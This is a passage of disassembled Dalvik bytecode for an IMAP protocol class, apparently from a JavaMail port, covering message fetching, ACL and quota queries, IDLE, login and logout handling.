:E4
000000E4 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v2
000000EA move-object v0, v1
000000EC goto :A4
.end method
.method protected fetchBody(I, String, Z)BODY
.registers 8
00000000 const/4 v1, 0x0
00000002 if-eqz p3, :8A
:6
00000006 new-instance v2, StringBuilder
0000000A const-string v0, "BODY.PEEK["
0000000E invoke-direct StringBuilder-><init>(String)V, v2, v0
00000014 if-nez p2, :62
:18
00000018 const-string v0, "]"
:1C
0000001C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000022 move-result-object v0
00000024 invoke-virtual StringBuilder->toString()String, v0
0000002A move-result-object v0
0000002C invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
00000032 move-result-object v0
:34
00000034 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000003A array-length v2, v0
0000003C add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000040 aget-object v2, v0, v2
00000044 invoke-virtual Response->isOK()Z, v2
0000004A move-result v3
0000004C if-eqz v3, :E2
:50
00000050 const-class v1, BODY
00000054 invoke-static FetchResponse->getItem([Response, I, Class)Item, v0, p1, v1
0000005A move-result-object v0
0000005C check-cast v0, BODY
:60
00000060 return-object v0
:62
00000062 new-instance v0, StringBuilder
00000066 invoke-static String->valueOf(Object)String, p2
0000006C move-result-object v3
0000006E invoke-direct StringBuilder-><init>(String)V, v0, v3
00000074 const-string v3, "]"
00000078 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
0000007E move-result-object v0
00000080 invoke-virtual StringBuilder->toString()String, v0
00000086 move-result-object v0
00000088 goto :1C
:8A
0000008A new-instance v2, StringBuilder
0000008E const-string v0, "BODY["
00000092 invoke-direct StringBuilder-><init>(String)V, v2, v0
00000098 if-nez p2, :BA
:9C
0000009C const-string v0, "]"
:A0
000000A0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000000A6 move-result-object v0
000000A8 invoke-virtual StringBuilder->toString()String, v0
000000AE move-result-object v0
000000B0 invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
000000B6 move-result-object v0
000000B8 goto :34
:BA
000000BA new-instance v0, StringBuilder
000000BE invoke-static String->valueOf(Object)String, p2
000000C4 move-result-object v3
000000C6 invoke-direct StringBuilder-><init>(String)V, v0, v3
000000CC const-string v3, "]"
000000D0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v3
000000D6 move-result-object v0
000000D8 invoke-virtual StringBuilder->toString()String, v0
000000DE move-result-object v0
000000E0 goto :A0
:E2
000000E2 invoke-virtual Response->isNO()Z, v2
000000E8 move-result v0
000000EA if-eqz v0, :F2
:EE
000000EE move-object v0, v1
000000F0 goto :60
:F2
000000F2 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v2
000000F8 move-object v0, v1
000000FA goto :60
.end method
.method public fetchBodyStructure(I)BODYSTRUCTURE
.registers 6
00000000 const/4 v0, 0x0
00000002 const-string v1, "BODYSTRUCTURE"
00000006 invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v1
0000000C move-result-object v1
0000000E invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
00000014 array-length v2, v1
00000016 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000001A aget-object v2, v1, v2
0000001E invoke-virtual Response->isOK()Z, v2
00000024 move-result v3
00000026 if-eqz v3, :3C
:2A
0000002A const-class v0, BODYSTRUCTURE
0000002E invoke-static FetchResponse->getItem([Response, I, Class)Item, v1, p1, v0
00000034 move-result-object v0
00000036 check-cast v0, BODYSTRUCTURE
:3A
0000003A return-object v0
:3C
0000003C invoke-virtual Response->isNO()Z, v2
00000042 move-result v1
00000044 if-nez v1, :3A
:48
00000048 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v2
0000004E goto :3A
.end method
.method public fetchFlags(I)Flags
.registers 8
00000000 const/4 v3, 0x0
00000002 const-string v0, "FLAGS"
00000006 invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
0000000C move-result-object v4
0000000E const/4 v0, 0x0
00000010 array-length v5, v4
00000012 move v2, v0
00000014 move-object v1, v3
:16
00000016 if-lt v2, v5, :34
:1A
0000001A move-object v0, v1
:1C
0000001C invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
00000022 array-length v1, v4
00000024 add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000028 aget-object v1, v4, v1
0000002C invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
00000032 return-object v0
:34
00000034 aget-object v0, v4, v2
00000038 if-eqz v0, :8A
:3C
0000003C aget-object v0, v4, v2
00000040 instance-of v0, v0, FetchResponse
00000044 if-eqz v0, :8A
:48
00000048 aget-object v0, v4, v2
0000004C check-cast v0, FetchResponse
00000050 invoke-virtual FetchResponse->getNumber()I, v0
00000056 move-result v0
00000058 if-eq v0, p1, :68
:5C
0000005C move-object v0, v1
:5E
0000005E add-int/lit8 v1, v2, 0x1
00000062 move v2, v1
00000064 move-object v1, v0
00000066 goto :16
:68
00000068 aget-object v0, v4, v2
0000006C check-cast v0, FetchResponse
00000070 const-class v1, Flags
00000074 invoke-virtual FetchResponse->getItem(Class)Item, v0, v1
0000007A move-result-object v0
0000007C check-cast v0, Flags
00000080 if-eqz v0, :5E
:84
00000084 aput-object v3, v4, v2
00000088 goto :1C
:8A
0000008A move-object v0, v1
0000008C goto :5E
.end method
.method public fetchRFC822(I, String)RFC822DATA
.registers 7
00000000 const/4 v1, 0x0
00000002 if-nez p2, :40
:6
00000006 const-string v0, "RFC822"
:A
0000000A invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v0
00000010 move-result-object v0
00000012 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000018 array-length v2, v0
0000001A add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000001E aget-object v2, v0, v2
00000022 invoke-virtual Response->isOK()Z, v2
00000028 move-result v3
0000002A if-eqz v3, :60
:2E
0000002E const-class v1, RFC822DATA
00000032 invoke-static FetchResponse->getItem([Response, I, Class)Item, v0, p1, v1
00000038 move-result-object v0
0000003A check-cast v0, RFC822DATA
:3E
0000003E return-object v0
:40
00000040 new-instance v0, StringBuilder
00000044 const-string v2, "RFC822."
00000048 invoke-direct StringBuilder-><init>(String)V, v0, v2
0000004E invoke-virtual StringBuilder->append(String)StringBuilder, v0, p2
00000054 move-result-object v0
00000056 invoke-virtual StringBuilder->toString()String, v0
0000005C move-result-object v0
0000005E goto :A
:60
00000060 invoke-virtual Response->isNO()Z, v2
00000066 move-result v0
00000068 if-eqz v0, :70
:6C
0000006C move-object v0, v1
0000006E goto :3E
:70
00000070 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v2
00000076 move-object v0, v1
00000078 goto :3E
.end method
.method public fetchSequenceNumber(J)UID
.registers 10
00000000 const/4 v1, 0x0
00000002 invoke-static String->valueOf(J)String, p1, p2
00000008 move-result-object v0
0000000A const-string v2, "UID"
0000000E const/4 v3, 0x1
00000010 invoke-direct IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, v2, v3
00000016 move-result-object v3
00000018 const/4 v0, 0x0
0000001A array-length v4, v3
0000001C move v2, v0
0000001E move-object v0, v1
:20
00000020 if-lt v2, v4, :3C
:24
00000024 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v3
0000002A array-length v1, v3
0000002C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000030 aget-object v1, v3, v1
00000034 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
0000003A return-object v0
:3C
0000003C aget-object v5, v3, v2
00000040 if-eqz v5, :50
:44
00000044 aget-object v5, v3, v2
00000048 instance-of v5, v5, FetchResponse
0000004C if-nez v5, :56
:50
00000050 add-int/lit8 v2, v2, 0x1
00000054 goto :20
:56
00000056 aget-object v0, v3, v2
0000005A check-cast v0, FetchResponse
0000005E const-class v5, UID
00000062 invoke-virtual FetchResponse->getItem(Class)Item, v0, v5
00000068 move-result-object v0
0000006A check-cast v0, UID
0000006E if-eqz v0, :50
:72
00000072 iget-wide v5, v0, UID->uid:J
00000076 cmp-long v5, v5, p1
0000007A if-eqz v5, :24
:7E
0000007E move-object v0, v1
00000080 goto :50
.end method
.method public fetchSequenceNumbers(J, J)[UID
.registers 11
00000000 new-instance v0, StringBuilder
00000004 invoke-static String->valueOf(J)String, p1, p2
0000000A move-result-object v1
0000000C invoke-static String->valueOf(Object)String, v1
00000012 move-result-object v1
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A const-string v1, ":"
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v1
00000026 const-wide/16 v2, 0xFFFFFFFFFFFFFFFF
0000002A cmp-long v0, p3, v2
0000002E if-nez v0, :92
:32
00000032 const-string v0, "*"
:36
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
0000003C move-result-object v0
0000003E invoke-virtual StringBuilder->toString()String, v0
00000044 move-result-object v0
00000046 const-string v1, "UID"
0000004A const/4 v2, 0x1
0000004C invoke-direct IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, v1, v2
00000052 move-result-object v2
00000054 new-instance v3, Vector
00000058 invoke-direct Vector-><init>()V, v3
0000005E const/4 v0, 0x0
00000060 array-length v4, v2
00000062 move v1, v0
:64
00000064 if-lt v1, v4, :9C
:68
00000068 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
0000006E array-length v0, v2
00000070 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000074 aget-object v0, v2, v0
00000078 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
0000007E invoke-virtual Vector->size()I, v3
00000084 move-result v0
00000086 new-array v0, v0, [UID
0000008A invoke-virtual Vector->copyInto([Object)V, v3, v0
00000090 return-object v0
:92
00000092 invoke-static String->valueOf(J)String, p3, p4
00000098 move-result-object v0
0000009A goto :36
:9C
0000009C aget-object v0, v2, v1
000000A0 if-eqz v0, :B0
:A4
000000A4 aget-object v0, v2, v1
000000A8 instance-of v0, v0, FetchResponse
000000AC if-nez v0, :B8
:B0
000000B0 add-int/lit8 v0, v1, 0x1
000000B4 move v1, v0
000000B6 goto :64
:B8
000000B8 aget-object v0, v2, v1
000000BC check-cast v0, FetchResponse
000000C0 const-class v5, UID
000000C4 invoke-virtual FetchResponse->getItem(Class)Item, v0, v5
000000CA move-result-object v0
000000CC check-cast v0, UID
000000D0 if-eqz v0, :B0
:D4
000000D4 invoke-virtual Vector->addElement(Object)V, v3, v0
000000DA goto :B0
.end method
.method public fetchSequenceNumbers([J)[UID
.registers 8
00000000 const/4 v1, 0x0
00000002 new-instance v2, StringBuffer
00000006 invoke-direct StringBuffer-><init>()V, v2
0000000C move v0, v1
:E
0000000E array-length v3, p1
00000010 if-lt v0, v3, :64
:14
00000014 invoke-virtual StringBuffer->toString()String, v2
0000001A move-result-object v0
0000001C const-string v2, "UID"
00000020 const/4 v3, 0x1
00000022 invoke-direct IMAPProtocol->fetch(String, String, Z)[Response, p0, v0, v2, v3
00000028 move-result-object v2
0000002A new-instance v3, Vector
0000002E invoke-direct Vector-><init>()V, v3
00000034 array-length v4, v2
:36
00000036 if-lt v1, v4, :8A
:3A
0000003A invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
00000040 array-length v0, v2
00000042 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000046 aget-object v0, v2, v0
0000004A invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
00000050 invoke-virtual Vector->size()I, v3
00000056 move-result v0
00000058 new-array v0, v0, [UID
0000005C invoke-virtual Vector->copyInto([Object)V, v3, v0
00000062 return-object v0
:64
00000064 if-lez v0, :72
:68
00000068 const-string v3, ","
0000006C invoke-virtual StringBuffer->append(String)StringBuffer, v2, v3
:72
00000072 aget-wide v3, p1, v0
00000076 invoke-static String->valueOf(J)String, v3, v4
0000007C move-result-object v3
0000007E invoke-virtual StringBuffer->append(String)StringBuffer, v2, v3
00000084 add-int/lit8 v0, v0, 0x1
00000088 goto :E
:8A
0000008A aget-object v0, v2, v1
0000008E if-eqz v0, :9E
:92
00000092 aget-object v0, v2, v1
00000096 instance-of v0, v0, FetchResponse
0000009A if-nez v0, :A4
:9E
0000009E add-int/lit8 v1, v1, 0x1
000000A2 goto :36
:A4
000000A4 aget-object v0, v2, v1
000000A8 check-cast v0, FetchResponse
000000AC const-class v5, UID
000000B0 invoke-virtual FetchResponse->getItem(Class)Item, v0, v5
000000B6 move-result-object v0
000000B8 check-cast v0, UID
000000BC if-eqz v0, :9E
:C0
000000C0 invoke-virtual Vector->addElement(Object)V, v3, v0
000000C6 goto :9E
.end method
.method public fetchUID(I)UID
.registers 6
00000000 const/4 v0, 0x0
00000002 const-string v1, "UID"
00000006 invoke-virtual IMAPProtocol->fetch(I, String)[Response, p0, p1, v1
0000000C move-result-object v1
0000000E invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
00000014 array-length v2, v1
00000016 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
0000001A aget-object v2, v1, v2
0000001E invoke-virtual Response->isOK()Z, v2
00000024 move-result v3
00000026 if-eqz v3, :3C
:2A
0000002A const-class v0, UID
0000002E invoke-static FetchResponse->getItem([Response, I, Class)Item, v1, p1, v0
00000034 move-result-object v0
00000036 check-cast v0, UID
:3A
0000003A return-object v0
:3C
0000003C invoke-virtual Response->isNO()Z, v2
00000042 move-result v1
00000044 if-nez v1, :3A
:48
00000048 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v2
0000004E goto :3A
.end method
.method public getACL(String)[ACL
.registers 12
00000000 const-string v0, "ACL"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "ACL not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000026 move-result-object v0
00000028 new-instance v1, Argument
0000002C invoke-direct Argument-><init>()V, v1
00000032 invoke-virtual Argument->writeString(String)V, v1, v0
00000038 const-string v0, "GETACL"
0000003C invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000042 move-result-object v2
00000044 array-length v0, v2
00000046 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000004A aget-object v3, v2, v0
0000004E new-instance v4, Vector
00000052 invoke-direct Vector-><init>()V, v4
00000058 invoke-virtual Response->isOK()Z, v3
0000005E move-result v0
00000060 if-eqz v0, :6E
:64
00000064 const/4 v0, 0x0
00000066 array-length v5, v2
00000068 move v1, v0
:6A
0000006A if-lt v1, v5, :8E
:6E
0000006E invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
00000074 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v3
0000007A invoke-virtual Vector->size()I, v4
00000080 move-result v0
00000082 new-array v0, v0, [ACL
00000086 invoke-virtual Vector->copyInto([Object)V, v4, v0
0000008C return-object v0
:8E
0000008E aget-object v0, v2, v1
00000092 instance-of v0, v0, IMAPResponse
00000096 if-nez v0, :A2
:9A
0000009A add-int/lit8 v0, v1, 0x1
0000009E move v1, v0
000000A0 goto :6A
:A2
000000A2 aget-object v0, v2, v1
000000A6 check-cast v0, IMAPResponse
000000AA const-string v6, "ACL"
000000AE invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v6
000000B4 move-result v6
000000B6 if-eqz v6, :9A
:BA
000000BA invoke-virtual IMAPResponse->readAtomString()String, v0
:C0
000000C0 invoke-virtual IMAPResponse->readAtomString()String, v0
000000C6 move-result-object v6
000000C8 if-nez v6, :D4
:CC
000000CC const/4 v0, 0x0
000000CE aput-object v0, v2, v1
000000D2 goto :9A
:D4
000000D4 invoke-virtual IMAPResponse->readAtomString()String, v0
000000DA move-result-object v7
000000DC if-eqz v7, :CC
:E0
000000E0 new-instance v8, ACL
000000E4 new-instance v9, Rights
000000E8 invoke-direct Rights-><init>(String)V, v9, v7
000000EE invoke-direct ACL-><init>(String, Rights)V, v8, v6, v9
000000F4 invoke-virtual Vector->addElement(Object)V, v4, v8
000000FA goto :C0
.end method
.method public getCapabilities()Map
.registers 2
00000000 iget-object v0, p0, IMAPProtocol->capabilities:Map
00000004 return-object v0
.end method
.method getIMAPOutputStream()OutputStream
.registers 2
00000000 invoke-virtual IMAPProtocol->getOutputStream()OutputStream, p0
00000006 move-result-object v0
00000008 return-object v0
.end method
.method public getQuota(String)[Quota
.registers 9
00000000 const-string v0, "QUOTA"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "QUOTA not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 new-instance v0, Argument
00000024 invoke-direct Argument-><init>()V, v0
0000002A invoke-virtual Argument->writeString(String)V, v0, p1
00000030 const-string v1, "GETQUOTA"
00000034 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v1, v0
0000003A move-result-object v2
0000003C new-instance v3, Vector
00000040 invoke-direct Vector-><init>()V, v3
00000046 array-length v0, v2
00000048 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000004C aget-object v4, v2, v0
00000050 invoke-virtual Response->isOK()Z, v4
00000056 move-result v0
00000058 if-eqz v0, :66
:5C
0000005C const/4 v0, 0x0
0000005E array-length v5, v2
00000060 move v1, v0
:62
00000062 if-lt v1, v5, :86
:66
00000066 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
0000006C invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v4
00000072 invoke-virtual Vector->size()I, v3
00000078 move-result v0
0000007A new-array v0, v0, [Quota
0000007E invoke-virtual Vector->copyInto([Object)V, v3, v0
00000084 return-object v0
:86
00000086 aget-object v0, v2, v1
0000008A instance-of v0, v0, IMAPResponse
0000008E if-nez v0, :9A
:92
00000092 add-int/lit8 v0, v1, 0x1
00000096 move v1, v0
00000098 goto :62
:9A
0000009A aget-object v0, v2, v1
0000009E check-cast v0, IMAPResponse
000000A2 const-string v6, "QUOTA"
000000A6 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v6
000000AC move-result v6
000000AE if-eqz v6, :92
:B2
000000B2 invoke-direct IMAPProtocol->parseQuota(Response)Quota, p0, v0
000000B8 move-result-object v0
000000BA invoke-virtual Vector->addElement(Object)V, v3, v0
000000C0 const/4 v0, 0x0
000000C2 aput-object v0, v2, v1
000000C6 goto :92
.end method
.method public getQuotaRoot(String)[Quota
.registers 12
00000000 const/4 v9, 0x0
00000002 const/4 v1, 0x0
00000004 const-string v0, "QUOTA"
00000008 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000E move-result v0
00000010 if-nez v0, :24
:14
00000014 new-instance v0, BadCommandException
00000018 const-string v1, "GETQUOTAROOT not supported"
0000001C invoke-direct BadCommandException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 invoke-static BASE64MailboxEncoder->encode(String)String, p1
0000002A move-result-object v0
0000002C new-instance v2, Argument
00000030 invoke-direct Argument-><init>()V, v2
00000036 invoke-virtual Argument->writeString(String)V, v2, v0
0000003C const-string v0, "GETQUOTAROOT"
00000040 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
00000046 move-result-object v3
00000048 array-length v0, v3
0000004A add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
0000004E aget-object v4, v3, v0
00000052 new-instance v5, Hashtable
00000056 invoke-direct Hashtable-><init>()V, v5
0000005C invoke-virtual Response->isOK()Z, v4
00000062 move-result v0
00000064 if-eqz v0, :70
:68
00000068 array-length v6, v3
0000006A move v2, v1
:6C
0000006C if-lt v2, v6, :9E
:70
00000070 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v3
00000076 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v4
0000007C invoke-virtual Hashtable->size()I, v5
00000082 move-result v0
00000084 new-array v2, v0, [Quota
00000088 invoke-virtual Hashtable->elements()Enumeration, v5
0000008E move-result-object v3
:90
00000090 invoke-interface Enumeration->hasMoreElements()Z, v3
00000096 move-result v0
00000098 if-nez v0, :134
:9C
0000009C return-object v2
:9E
0000009E aget-object v0, v3, v2
000000A2 instance-of v0, v0, IMAPResponse
000000A6 if-nez v0, :B2
:AA
000000AA add-int/lit8 v0, v2, 0x1
000000AE move v2, v0
000000B0 goto :6C
:B2
000000B2 aget-object v0, v3, v2
000000B6 check-cast v0, IMAPResponse
000000BA const-string v7, "QUOTAROOT"
000000BE invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v7
000000C4 move-result v7
000000C6 if-eqz v7, :F4
:CA
000000CA invoke-virtual IMAPResponse->readAtomString()String, v0
:D0
000000D0 invoke-virtual IMAPResponse->readAtomString()String, v0
000000D6 move-result-object v7
000000D8 if-nez v7, :E2
:DC
000000DC aput-object v9, v3, v2
000000E0 goto :AA
:E2
000000E2 new-instance v8, Quota
000000E6 invoke-direct Quota-><init>(String)V, v8, v7
000000EC invoke-virtual Hashtable->put(Object, Object)Object, v5, v7, v8
000000F2 goto :D0
:F4
000000F4 const-string v7, "QUOTA"
000000F8 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v7
000000FE move-result v7
00000100 if-eqz v7, :AA
:104
00000104 invoke-direct IMAPProtocol->parseQuota(Response)Quota, p0, v0
0000010A move-result-object v7
0000010C iget-object v0, v7, Quota->quotaRoot:String
00000110 invoke-virtual Hashtable->get(Object)Object, v5, v0
00000116 move-result-object v0
00000118 check-cast v0, Quota
0000011C if-eqz v0, :124
:120
00000120 iget-object v0, v0, Quota->resources:[Quota$Resource
:124
00000124 iget-object v0, v7, Quota->quotaRoot:String
00000128 invoke-virtual Hashtable->put(Object, Object)Object, v5, v0, v7
0000012E aput-object v9, v3, v2
00000132 goto :AA
:134
00000134 invoke-interface Enumeration->nextElement()Object, v3
0000013A move-result-object v0
0000013C check-cast v0, Quota
00000140 aput-object v0, v2, v1
00000144 add-int/lit8 v0, v1, 0x1
00000148 move v1, v0
0000014A goto :90
.end method
.method protected getResponseBuffer()ByteArray
.registers 3
00000000 iget-object v0, p0, IMAPProtocol->ba:ByteArray
00000004 const/4 v1, 0x0
00000006 iput-object v1, p0, IMAPProtocol->ba:ByteArray
0000000A return-object v0
.end method
.method public hasCapability(String)Z
.registers 4
00000000 iget-object v0, p0, IMAPProtocol->capabilities:Map
00000004 sget-object v1, Locale->ENGLISH:Locale
00000008 invoke-virtual String->toUpperCase(Locale)String, p1, v1
0000000E move-result-object v1
00000010 invoke-interface Map->containsKey(Object)Z, v0, v1
00000016 move-result v0
00000018 return v0
.end method
.method public idleAbort()V
.registers 3
00000000 invoke-virtual IMAPProtocol->getOutputStream()OutputStream, p0
00000006 move-result-object v0
:8
00000008 sget-object v1, IMAPProtocol->DONE:[B
0000000C invoke-virtual OutputStream->write([B)V, v0, v1
00000012 invoke-virtual OutputStream->flush()V, v0
:18
00000018 return-void
:1A
0000001A move-exception v0
0000001C goto :18
.catch IOException {:8 .. :18} :1A
.end method
.method public declared-synchronized idleStart()V
.registers 3
00000000 monitor-enter p0
:2
00000002 const-string v0, "IDLE"
00000006 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000C move-result v0
0000000E if-nez v0, :28
:12
00000012 new-instance v0, BadCommandException
00000016 const-string v1, "IDLE not supported"
0000001A invoke-direct BadCommandException-><init>(String)V, v0, v1
00000020 throw v0
:22
00000022 move-exception v0
00000024 monitor-exit p0
00000026 throw v0
:28
00000028 const-string v0, "IDLE"
0000002C const/4 v1, 0x0
0000002E invoke-virtual IMAPProtocol->writeCommand(String, Argument)String, p0, v0, v1
00000034 move-result-object v0
00000036 iput-object v0, p0, IMAPProtocol->idleTag:String
0000003A invoke-virtual IMAPProtocol->readResponse()Response, p0
:40
00000040 move-result-object v0
:42
00000042 invoke-virtual Response->isContinuation()Z, v0
00000048 move-result v1
0000004A if-nez v1, :54
:4E
0000004E invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v0
:54
00000054 monitor-exit p0
00000056 return-void
:58
00000058 move-exception v0
:5A
0000005A invoke-virtual LiteralException->getResponse()Response, v0
00000060 move-result-object v0
00000062 goto :42
:64
00000064 move-exception v0
00000066 invoke-static Response->byeResponse(Exception)Response, v0
:6C
0000006C move-result-object v0
0000006E goto :42
.catchall {:2 .. :22} :22
.catch LiteralException {:28 .. :40} :58
.catch Exception {:28 .. :40} :64
.catchall {:28 .. :40} :22
.catchall {:42 .. :54} :22
.catchall {:5A .. :6C} :22
.end method
.method public isAuthenticated()Z
.registers 2
00000000 iget-boolean v0, p0, IMAPProtocol->authenticated:Z
00000004 return v0
.end method
.method public isREV1()Z
.registers 2
00000000 iget-boolean v0, p0, IMAPProtocol->rev1:Z
00000004 return v0
.end method
.method public list(String, String)[ListInfo
.registers 4
00000000 const-string v0, "LIST"
00000004 invoke-direct IMAPProtocol->doList(String, String, String)[ListInfo, p0, v0, p1, p2
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public listRights(String, String)[Rights
.registers 11
00000000 const-string v0, "ACL"
00000004 invoke-virtual IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A move-result v0
0000000C if-nez v0, :20
:10
00000010 new-instance v0, BadCommandException
00000014 const-string v1, "ACL not supported"
00000018 invoke-direct BadCommandException-><init>(String)V, v0, v1
0000001E throw v0
:20
00000020 invoke-static BASE64MailboxEncoder->encode(String)String, p1
00000026 move-result-object v0
00000028 new-instance v1, Argument
0000002C invoke-direct Argument-><init>()V, v1
00000032 invoke-virtual Argument->writeString(String)V, v1, v0
00000038 invoke-virtual Argument->writeString(String)V, v1, p2
0000003E const-string v0, "LISTRIGHTS"
00000042 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000048 move-result-object v2
0000004A array-length v0, v2
0000004C add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFF
00000050 aget-object v3, v2, v0
00000054 new-instance v4, Vector
00000058 invoke-direct Vector-><init>()V, v4
0000005E invoke-virtual Response->isOK()Z, v3
00000064 move-result v0
00000066 if-eqz v0, :74
:6A
0000006A const/4 v0, 0x0
0000006C array-length v5, v2
0000006E move v1, v0
:70
00000070 if-lt v1, v5, :94
:74
00000074 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
0000007A invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v3
00000080 invoke-virtual Vector->size()I, v4
00000086 move-result v0
00000088 new-array v0, v0, [Rights
0000008C invoke-virtual Vector->copyInto([Object)V, v4, v0
00000092 return-object v0
:94
00000094 aget-object v0, v2, v1
00000098 instance-of v0, v0, IMAPResponse
0000009C if-nez v0, :A8
:A0
000000A0 add-int/lit8 v0, v1, 0x1
000000A4 move v1, v0
000000A6 goto :70
:A8
000000A8 aget-object v0, v2, v1
000000AC check-cast v0, IMAPResponse
000000B0 const-string v6, "LISTRIGHTS"
000000B4 invoke-virtual IMAPResponse->keyEquals(String)Z, v0, v6
000000BA move-result v6
000000BC if-eqz v6, :A0
:C0
000000C0 invoke-virtual IMAPResponse->readAtomString()String, v0
000000C6 invoke-virtual IMAPResponse->readAtomString()String, v0
:CC
000000CC invoke-virtual IMAPResponse->readAtomString()String, v0
000000D2 move-result-object v6
000000D4 if-nez v6, :E0
:D8
000000D8 const/4 v0, 0x0
000000DA aput-object v0, v2, v1
000000DE goto :A0
:E0
000000E0 new-instance v7, Rights
000000E4 invoke-direct Rights-><init>(String)V, v7, v6
000000EA invoke-virtual Vector->addElement(Object)V, v4, v7
000000F0 goto :CC
.end method
.method public login(String, String)V
.registers 5
00000000 new-instance v0, Argument
00000004 invoke-direct Argument-><init>()V, v0
0000000A invoke-virtual Argument->writeString(String)V, v0, p1
00000010 invoke-virtual Argument->writeString(String)V, v0, p2
00000016 const-string v1, "LOGIN"
0000001A invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v1, v0
00000020 move-result-object v0
00000022 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000028 array-length v1, v0
0000002A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000002E aget-object v1, v0, v1
00000032 invoke-virtual IMAPProtocol->handleResult(Response)V, p0, v1
00000038 array-length v1, v0
0000003A add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
0000003E aget-object v0, v0, v1
00000042 invoke-virtual IMAPProtocol->setCapabilities(Response)V, p0, v0
00000048 const/4 v0, 0x1
0000004A iput-boolean v0, p0, IMAPProtocol->authenticated:Z
0000004E return-void
.end method
.method public logout()V
.registers 3
00000000 const-string v0, "LOGOUT"
00000004 const/4 v1, 0x0
00000006 invoke-virtual IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
0000000C move-result-object v0
0000000E const/4 v1, 0x0
00000010 iput-boolean v1, p0, IMAPProtocol->authenticated:Z
00000014 invoke-virtual IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000001A invoke-virtual IMAPProtocol->disconnect()V, p0
00000020 return-void
.end method
.method public lsub(String, String)[ListInfo
.registers 4
00000000 const-string v0, "LSUB"
00000004 invoke-direct IMAPProtocol->doList(String, String, String)[ListInfo, p0, v0, p1, p2
0000000A move-result-object v0
0000000C return-object v0
.end method
.method public myRights(String)Rights
.registers 10
00000000 const/4 v2, 0x0
